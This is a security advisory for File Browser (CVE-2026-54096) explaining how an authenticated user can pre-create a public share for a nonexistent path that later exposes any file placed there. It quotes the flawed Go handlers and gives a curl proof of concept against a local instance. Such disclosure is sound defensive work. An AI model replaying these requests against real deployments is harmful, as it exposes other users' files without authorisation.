HighGHSA-3q2p-72cj-682cCVE-2026-54096GO-2026-5096

File Browser: Improper Access Control Occurs via Pre-Created Public Share for a Non-existent Path

Published 12 Jun 2026 · Updated 21 Jul 2026

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Affected packages

Affected
<2.63.7
Fixed in
2.63.7
Update to the fixed version for your release line, for example:go get github.com/filebrowser/filebrowser/v2@v2.63.7
Affected
<=1.11.0
Fixed in
No fix released

Details

Summary

This is similar vulnrability of CVE-2026-0035, which was fixed in Android MediaProvider with high severity. In the original Java issue, MediaStore.createWriteRequest() accepted attacker-controlled URIs and created a future grant even when the referenced media item did not exist yet. The Android fix added an existence check before creating the request.

filebrowser/filebrowser has the analogous issue in Go. POST /api/share/<path> accepts an authenticated request for an arbitrary path and stores a public share record without checking whether the target file currently exists. Later, when a file is created at that same path, the previously created public share immediately becomes valid and exposes the new file through GET /api/public/dl/<hash>.

Details

The vulnerable create path is:

  • http/share.go
  • sharePostHandler()
  • route: POST /api/share/<path>

sharePostHandler() only checks that the caller is authenticated and has share/download permissions. It then builds a share.Link directly from r.URL.Path and saves it:

s = &share.Link{
    Path:         r.URL.Path,
    Hash:         str,
    Expire:       expire,
    UserID:       d.user.ID,
    PasswordHash: string(hash),
    Token:        token,
}

if err := d.store.Share.Save(s); err != nil {
    return http.StatusInternalServerError, err
}

There is no Stat, Exists, or equivalent check before the public share record is committed.

The vulnerable consume path is:

  • http/public.go
  • withHashFile()
  • routes: GET /api/public/share/<hash>, GET /api/public/dl/<hash>

Each public request loads the saved share by hash and then resolves link.Path against the owner's current filesystem state:

file, err := files.NewFileInfo(&files.FileOptions{
    Fs:   d.user.Fs,
    Path: link.Path,
    ...
})

This means the share is not bound to an object that existed at creation time. It is bound only to a path string, so a share created for a nonexistent path becomes valid later as soon as that path is populated.

PoC

The PoC below starts from external HTTP input only.

1. Authenticate to File Browser. 2. Confirm /future4.txt does not exist. 3. Create a public share for /future4.txt anyway. 4. Confirm the public share returns 404. 5. Upload a file to /future4.txt. 6. Reuse the same public share URL and read the file content.

Reproduction commands:

TOKEN=$(curl -s -X POST http://127.0.0.1:8091/api/login \
  -H 'Content-Type: application/json' \
  -d '{"username":"admin","password":"Password123!"}')

curl -i -X POST http://127.0.0.1:8091/api/share/future4.txt \
  -H "X-Auth: $TOKEN" \
  -H 'Content-Type: application/json' \
  -d '{}'

curl -i http://127.0.0.1:8091/api/public/dl/JVeEQlLO

curl -i -X POST http://127.0.0.1:8091/api/resources/future4.txt \
  -H "X-Auth: $TOKEN" \
  --data-binary 'fourth-secret'

curl -i http://127.0.0.1:8091/api/public/dl/JVeEQlLO

Impact

An authenticated user can create a public share for a path before the file exists, and that same share later exposes whatever file is created at that path. This can unintentionally publish future sensitive files and bypass the expected invariant that a share grants access only to an existing object reviewed at creation time.

Reference

Original CVE: https://nvd.nist.gov/vuln/detail/CVE-2026-0035

Is GHSA-3q2p-72cj-682c in any of your client repos?

Checking one package by hand is fine. Checking it across forty client projects is not. NPMscan reads the lockfiles in every GitHub repo you pick, finds each project with an affected github.com/filebrowser/filebrowser/v2, and gives you the command that fixes it.

More advisories for github.com/filebrowser/filebrowser/v2

  • LowCVE-2026-61874File Browser: Trailing-slash directory deletion leaves public shares active for recreated paths · 13 Nov 2026
  • LowCVE-2026-55668File Browser: ScopedFs follows a dangling symlink on write, letting a scoped user create files outside their scope in github.com/filebrowser/filebrowser · 22 Jul 2026
  • LowCVE-2026-55667File Browser: Out-of-scope file deletion by a Create-only scoped user via symlink-following RemoveAll in upload failure-cleanup in github.com/filebrowser/filebrowser · 22 Jul 2026
  • LowCVE-2026-62685File Browser: Colliding username normalization gives two users the same home directory in github.com/filebrowser/filebrowser · 22 Jul 2026
  • LowCVE-2026-62684File Browser: Share API exposes the password hash and bypass token in github.com/filebrowser/filebrowser · 22 Jul 2026
  • LowCVE-2026-62843File Browser: Archive builder turns backslash filenames into path traversal (zip-slip) in github.com/filebrowser/filebrowser · 22 Jul 2026
All 87 advisories for github.com/filebrowser/filebrowser/v2

References

Advisory data from OSV.dev (opens OSV.dev in a new tab), refreshed daily.